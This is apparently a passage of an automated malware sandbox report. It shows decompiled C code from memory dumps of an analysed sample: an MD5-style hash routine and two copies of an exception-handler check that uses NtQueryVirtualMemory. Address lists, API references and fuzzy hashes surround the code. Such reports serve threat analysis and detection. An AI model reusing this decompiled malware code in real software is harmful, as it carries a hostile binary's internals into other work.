				_t377 = (_t429 ^ _t249) + _v52 + _t375 + 0x4881d05 + _t612;
				asm("rol eax, 0x4");
				_t251 = (_t429 ^ _t377) + _v40 + _t249 - 0x262b2fc7 + _t377;
				asm("rol edx, 0xb");
				_t437 = (_t612 ^ _t377 ^ _t251) + _v28 + _t733 - 0x1924661b + _t251;
				asm("rol esi, 0x10");
				_t739 = (_t437 ^ _t377 ^ _t251) + _v16 + _t612 + 0x1fa27cf8 + _t437;
				asm("ror ecx, 0x9");
				_t379 = (_t437 ^ _t739 ^ _t251) + _v68 + _t377 - 0x3b53a99b + _t739;
				asm("rol eax, 0x6");
				_t253 = (( !_t437 | _t379) ^ _t739) + _v76 + _t251 - 0xbd6ddbc + _t379;
				asm("rol edx, 0xa");
				_t439 = (( !_t739 | _t253) ^ _t379) + _v48 + _t437 + 0x432aff97 + _t253;
				asm("rol esi, 0xf");
				_t741 = (( !_t379 | _t439) ^ _t253) + _v20 + _t739 - 0x546bdc59 + _t439;
				asm("ror ecx, 0xb");
				_t381 = (( !_t253 | _t741) ^ _t439) + _v56 + _t379 - 0x36c5fc7 + _t741;
				asm("rol eax, 0x6");
				_t255 = (( !_t439 | _t381) ^ _t741) + _v28 + _t253 + 0x655b59c3 + _t381;
				asm("rol edx, 0xa");
				_t441 = (( !_t741 | _t255) ^ _t381) + _v64 + _t439 - 0x70f3336e + _t255;
				asm("rol esi, 0xf");
				_t743 = (( !_t381 | _t441) ^ _t255) + _v36 + _t741 - 0x100b83 + _t441;
				asm("ror ecx, 0xb");
				_t383 = (( !_t255 | _t743) ^ _t441) + _v72 + _t381 - 0x7a7ba22f + _t743;
				asm("rol eax, 0x6");
				_t257 = (( !_t441 | _t383) ^ _t743) + _v44 + _t255 + 0x6fa87e4f + _t383;
				asm("rol edx, 0xa");
				_t443 = (( !_t743 | _t257) ^ _t383) + _v16 + _t441 - 0x1d31920 + _t257;
				asm("rol esi, 0xf");
				_t745 = (( !_t383 | _t443) ^ _t257) + _v52 + _t743 - 0x5cfebcec + _t443;
				asm("ror edi, 0xb");
				_t678 = (( !_t257 | _t745) ^ _t443) + _v24 + _t383 + 0x4e0811a1 + _t745;
				asm("rol eax, 0x6");
				_t259 = (( !_t443 | _t678) ^ _t745) + _v60 + _t257 - 0x8ac817e + _t678;
				asm("rol edx, 0xa");
				_t445 = (( !_t745 | _t259) ^ _t678) + _v32 + _t443 - 0x42c50dcb + _t259;
				_t399 = _a4;
				asm("rol esi, 0xf");
				_t747 = (( !_t678 | _t445) ^ _t259) + _v68 + _t745 + 0x2ad7d2bb + _t445;
				 *_t399 =  *_t399 + _t259;
				asm("ror eax, 0xb");
				 *((intOrPtr*)(_t399 + 4)) = (( !_t259 | _t747) ^ _t445) + _v40 + _t678 - 0x14792c6f +  *((intOrPtr*)(_t399 + 4)) + _t747;
				 *((intOrPtr*)(_t399 + 8)) =  *((intOrPtr*)(_t399 + 8)) + _t747;
				 *((intOrPtr*)(_t399 + 0xc)) =  *((intOrPtr*)(_t399 + 0xc)) + _t445;
				return memset( &_v76, 0, 0x40);
			}

0x026797f5
0x02679800
0x02679803
0x02679806
0x02679807
0x02679807
0x02679812
0x02679823
0x02679825
0x02679828
0x02679828
0x0267982b
0x0267982b
0x0267982e
0x0267982e
0x02679831
0x02679831
0x0267984e
0x02679851
0x02679867
0x0267986a
0x02679884
0x02679887
0x0267989d
0x026798a0
0x026798a2
0x026798ba
0x026798bd
0x026798c0
0x026798d8
0x026798db
0x026798f5
0x026798f8
0x0267990e
0x02679911
0x02679913
0x0267992b
0x02679930
0x02679933
0x02679949
0x0267994c
0x02679966
0x02679969
0x0267997f
0x02679982
0x02679984
0x0267999f
0x026799a2
0x026799b9
0x026799bc
0x026799c0
0x026799d9
0x026799dc
0x026799de
0x026799e1
0x026799fc
0x026799ff
0x02679a18
0x02679a1b
0x02679a2b
0x02679a2e
0x02679a46
0x02679a49
0x02679a63
0x02679a66
0x02679a7e
0x02679a81
0x02679a97
0x02679a9a
0x02679ab2
0x02679ab5
0x02679acd
0x02679ad0
0x02679aea
0x02679aed
0x02679b03
0x02679b06
0x02679b1e
0x02679b21
0x02679b3b
0x02679b3e
0x02679b56
0x02679b59
0x02679b6f
0x02679b72
0x02679b8a
0x02679b8d
0x02679ba5
0x02679ba8
0x02679bba
0x02679bbd
0x02679bcf
0x02679bd2
0x02679be4
0x02679be7
0x02679beb
0x02679bfb
0x02679bfe
0x02679c0c
0x02679c0f
0x02679c21
0x02679c24
0x02679c38
0x02679c3b
0x02679c3d
0x02679c4d
0x02679c50
0x02679c62
0x02679c65
0x02679c73
0x02679c76
0x02679c88
0x02679c8b
0x02679c8f
0x02679c9f
0x02679ca2
0x02679cb4
0x02679cb7
0x02679cc5
0x02679cc8
0x02679cda
0x02679cdd
0x02679cef
0x02679cf2
0x02679d06
0x02679d09
0x02679d1d
0x02679d20
0x02679d34
0x02679d37
0x02679d4b
0x02679d4e
0x02679d62
0x02679d65
0x02679d79
0x02679d7e
0x02679d90
0x02679d93
0x02679da7
0x02679daa
0x02679dbe
0x02679dc1
0x02679dd7
0x02679dda
0x02679dee
0x02679df1
0x02679e03
0x02679e06
0x02679e1a
0x02679e1d
0x02679e31
0x02679e34
0x02679e48
0x02679e51
0x02679e54
0x02679e5d
0x02679e66
0x02679e6e
0x02679e76
0x02679e80
0x02679e95

APIs

memset.NTDLL ref: 02679E89

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 52e03f73daf1acbc6a4f2a9c02c66ec997d616785c4cba18c714e75c778021e1
Instruction ID: 7083ebfba0176c49ff638e89452cf98d0fc02e7d49349e40a5f6831a875c51de
Opcode Fuzzy Hash: 52e03f73daf1acbc6a4f2a9c02c66ec997d616785c4cba18c714e75c778021e1
Instruction Fuzzy Hash: B722747BE516169BDB08CA95CC805E9B3E3BBC832471F9179C919E3305EE797A0786C0

Uniqueness

Uniqueness Score: -1.00%

Function 10002375, Relevance: 1.7, APIs: 1, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10002375(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x10004178;
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x100041c0 = 1;
										__eflags =  *0x100041c0;
										if( *0x100041c0 != 0) {
											goto L60;
										}
										_t84 =  *0x10004178;
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x100041c0 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x10004178 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x10004180 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x1000417c + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x10004180 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x10004180 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x100041c0 = 1;
							__eflags =  *0x100041c0;
							if( *0x100041c0 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x10004180 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x10004180 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x100041c0 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x10004180 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t58 = _t81 - 1;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x10004178 = _t81;
								}
								_t58 = _t81 - 1;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x10004180 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x10004180 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}

0x1000237f
0x10002382
0x10002388
0x100023a6
0x00000000
0x100023a6
0x10002390
0x10002399
0x1000239f
0x100023ae
0x100023b1
0x100023b4
0x100023be
0x100023be
0x100023c0
0x100023c3
0x100023c5
0x100023c5
0x100023c7
0x100023ca
0x00000000
0x00000000
0x100023cc
0x100023ce
0x10002434
0x10002434
0x10002592
0x00000000
0x10002592
0x100023d0
0x100023d0
0x100023d4
0x100023d6
0x100023d6
0x100023d6
0x100023d6
0x100023d9
0x100023da
0x100023dd
0x100023dd
0x100023e1
0x100023e5
0x100023f3
0x100023f3
0x100023fb
0x10002401
0x10002403
0x10002405
0x10002415
0x10002422
0x10002426
0x1000242b
0x1000242d
0x100024ab
0x100024ab
0x1000242f
0x1000242f
0x1000242f
0x100024ad
0x100024af
0x10002590
0x10002590
0x00000000
0x100024b5
0x100024b5
0x100024bc
0x00000000
0x00000000
0x100024c2
0x100024c6
0x10002522
0x10002524
0x1000252c
0x1000252e
0x10002530
0x00000000
0x00000000
0x10002532
0x10002538
0x1000253a
0x1000253c
0x10002551
0x10002551
0x10002553
0x10002582
0x10002589
0x00000000
0x10002589
0x10002557
0x10002558
0x1000255a
0x1000255c
0x1000255c
0x1000255e
0x10002560
0x10002562
0x10002576
0x10002576
0x10002579
0x1000257b
0x1000257b
0x1000257c
0x1000257c
0x00000000
0x10002564
0x10002564
0x10002564
0x1000256d
0x1000256e
0x10002570
0x10002572
0x10002572
0x00000000
0x10002564
0x10002562
0x1000253e
0x10002545
0x10002545
0x10002547
0x00000000
0x00000000
0x10002549
0x1000254a
0x1000254d
0x1000254f
0x00000000
0x00000000
0x00000000
0x1000254f
0x00000000
0x10002545
0x100024c8
0x100024cb
0x100024d0
0x00000000
0x00000000
0x100024d9
0x100024db
0x100024e1
0x00000000
0x00000000
0x100024e7
0x100024ed
0x00000000
0x00000000
0x100024f3
0x100024f5
0x100024fe
0x10002502
0x00000000
0x00000000
0x10002508
0x1000250b
0x1000250d
0x00000000
0x00000000
0x10002514
0x10002516
0x00000000
0x00000000
0x10002518
0x1000251c
0x00000000
0x00000000
0x00000000
0x1000251c
0x00000000
0x00000000
0x00000000
0x10002407
0x10002407
0x10002407
0x1000240e
0x00000000
0x00000000
0x10002410
0x10002411
0x10002413
0x00000000
0x00000000
0x00000000
0x10002413
0x1000243b
0x1000243d
0x00000000
0x00000000
0x1000244d
0x1000244f
0x10002451
0x00000000
0x00000000
0x10002457
0x1000245e
0x1000248a
0x1000248a
0x1000248c
0x1000248e
0x100024a2
0x100024a4
0x00000000
0x00000000
0x00000000
0x00000000
0x10002490
0x10002490
0x10002490
0x10002499
0x1000249a
0x1000249c
0x1000249e
0x1000249e
0x00000000
0x10002490
0x10002460
0x10002463
0x10002465
0x10002477
0x10002477
0x1000247a
0x1000247c
0x1000247c
0x1000247d
0x1000247d
0x10002483
0x00000000
0x00000000
0x00000000
0x00000000
0x10002467
0x10002467
0x10002467
0x1000246e
0x00000000
0x00000000
0x10002470
0x10002470
0x10002471
0x00000000
0x00000000
0x00000000
0x10002471
0x10002473
0x10002475
0x10002488
0x00000000
0x00000000
0x00000000
0x10002488
0x00000000
0x10002475
0x100023e7
0x100023ea
0x100023ed
0x00000000
0x00000000
0x100023ef
0x100023f1
0x00000000
0x00000000
0x00000000
0x100023f1
0x100023b6
0x100023b8
0x00000000
0x00000000
0x00000000
0x00000000

APIs

NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 10002426

Memory Dump Source

Source File: 00000000.00000002.496130381.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.496109491.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496159830.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: MemoryQueryVirtual
String ID:
API String ID: 2850889275-0
Opcode ID: bc62919f775303453252f92297d23a638608a8d642d2c7d4ab03d1755088ac9f
Instruction ID: 0c254990f4eddd9df484f3b683da5194678d0c4feb8b8adbfe3d5bca3f7d4cb2
Opcode Fuzzy Hash: bc62919f775303453252f92297d23a638608a8d642d2c7d4ab03d1755088ac9f
Instruction Fuzzy Hash: 3861E170A00A52DFFB19CF28CCE065937E5EB893D5F628439D856C729DEB30DD828A54

Uniqueness

Uniqueness Score: -1.00%

Function 0267B341, Relevance: 1.7, APIs: 1, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0267B341(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x267d2e0; // 0x0
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x267d328 = 1;
										__eflags =  *0x267d328;
										if( *0x267d328 != 0) {
											goto L60;
										}
										_t84 =  *0x267d2e0; // 0x0
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x267d328 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x267d2e0 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x267d2e8 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x267d2e4 + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x267d2e8 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x267d2e8 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x267d328 = 1;
							__eflags =  *0x267d328;
							if( *0x267d328 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x267d2e8 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x267d2e8 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x267d328 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x267d2e8 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t25 = _t81 - 1; // -1
							_t58 = _t25;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x267d2e0 = _t81;
								}
								_t28 = _t81 - 1; // 0x0
								_t58 = _t28;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x267d2e8 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x267d2e8 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}

0x0267b34b
0x0267b34e
0x0267b354
0x0267b372
0x00000000
0x0267b372
0x0267b35c
0x0267b365
0x0267b36b
0x0267b37a
0x0267b37d
0x0267b380
0x0267b38a
0x0267b38a
0x0267b38c
0x0267b38f
0x0267b391
0x0267b391
0x0267b393
0x0267b396
0x00000000
0x00000000
0x0267b398
0x0267b39a
0x0267b400
0x0267b400
0x0267b55e
0x00000000
0x0267b55e
0x0267b39c
0x0267b39c
0x0267b3a0
0x0267b3a2
0x0267b3a2
0x0267b3a2
0x0267b3a2
0x0267b3a5
0x0267b3a6
0x0267b3a9
0x0267b3a9
0x0267b3ad
0x0267b3b1
0x0267b3bf
0x0267b3bf
0x0267b3c7
0x0267b3cd
0x0267b3cf
0x0267b3d1
0x0267b3e1
0x0267b3ee
0x0267b3f2
0x0267b3f7
0x0267b3f9
0x0267b477
0x0267b477
0x0267b3fb
0x0267b3fb
0x0267b3fb
0x0267b479
0x0267b47b
0x0267b55c
0x0267b55c
0x00000000
0x0267b481
0x0267b481
0x0267b488
0x00000000
0x00000000
0x0267b48e
0x0267b492
0x0267b4ee
0x0267b4f0
0x0267b4f8
0x0267b4fa
0x0267b4fc
0x00000000
0x00000000
0x0267b4fe
0x0267b504
0x0267b506
0x0267b508
0x0267b51d
0x0267b51d
0x0267b51f
0x0267b54e
0x0267b555
0x00000000
0x0267b555
0x0267b523
0x0267b524
0x0267b526
0x0267b528
0x0267b528
0x0267b52a
0x0267b52c
0x0267b52e
0x0267b542
0x0267b542
0x0267b545
0x0267b547
0x0267b547
0x0267b548
0x0267b548
0x00000000
0x0267b530
0x0267b530
0x0267b530
0x0267b539
0x0267b53a
0x0267b53c
0x0267b53e
0x0267b53e
0x00000000
0x0267b530
0x0267b52e
0x0267b50a
0x0267b511
0x0267b511
0x0267b513
0x00000000
0x00000000
0x0267b515
0x0267b516
0x0267b519
0x0267b51b
0x00000000
0x00000000
0x00000000
0x0267b51b
0x00000000
0x0267b511
0x0267b494
0x0267b497
0x0267b49c
0x00000000
0x00000000
0x0267b4a5
0x0267b4a7
0x0267b4ad
0x00000000
0x00000000
0x0267b4b3
0x0267b4b9
0x00000000
0x00000000
0x0267b4bf
0x0267b4c1
0x0267b4ca
0x0267b4ce
0x00000000
0x00000000
0x0267b4d4
0x0267b4d7
0x0267b4d9
0x00000000
0x00000000
0x0267b4e0
0x0267b4e2
0x00000000
0x00000000
0x0267b4e4
0x0267b4e8
0x00000000
0x00000000
0x00000000
0x0267b4e8
0x00000000
0x00000000
0x00000000
0x0267b3d3
0x0267b3d3
0x0267b3d3
0x0267b3da
0x00000000
0x00000000
0x0267b3dc
0x0267b3dd
0x0267b3df
0x00000000
0x00000000
0x00000000
0x0267b3df
0x0267b407
0x0267b409
0x00000000
0x00000000
0x0267b419
0x0267b41b
0x0267b41d
0x00000000
0x00000000
0x0267b423
0x0267b42a
0x0267b456
0x0267b456
0x0267b458
0x0267b45a
0x0267b46e
0x0267b470
0x00000000
0x00000000
0x00000000
0x00000000
0x0267b45c
0x0267b45c
0x0267b45c
0x0267b465
0x0267b466
0x0267b468
0x0267b46a
0x0267b46a
0x00000000
0x0267b45c
0x0267b42c
0x0267b42c
0x0267b42f
0x0267b431
0x0267b443
0x0267b443
0x0267b446
0x0267b448
0x0267b448
0x0267b449
0x0267b449
0x0267b44f
0x0267b44f
0x00000000
0x00000000
0x00000000
0x00000000
0x0267b433
0x0267b433
0x0267b433
0x0267b43a
0x00000000
0x00000000
0x0267b43c
0x0267b43c
0x0267b43d
0x00000000
0x00000000
0x00000000
0x0267b43d
0x0267b43f
0x0267b441
0x0267b454
0x00000000
0x00000000
0x00000000
0x0267b454
0x00000000
0x0267b441
0x0267b3b3
0x0267b3b6
0x0267b3b9
0x00000000
0x00000000
0x0267b3bb
0x0267b3bd
0x00000000
0x00000000
0x00000000
0x0267b3bd
0x0267b382
0x0267b384
0x00000000
0x00000000
0x00000000
0x00000000

APIs

NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 0267B3F2

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: MemoryQueryVirtual
String ID:
API String ID: 2850889275-0
Opcode ID: a08bb74ac3cb0f658a9b474f557301cddc59769d808eb984af5c5097a3bd154a
Instruction ID: 3a09c8c50e0ea37fcd56801a9304c139863ad8ede315de2438e20a391b078756
Opcode Fuzzy Hash: a08bb74ac3cb0f658a9b474f557301cddc59769d808eb984af5c5097a3bd154a
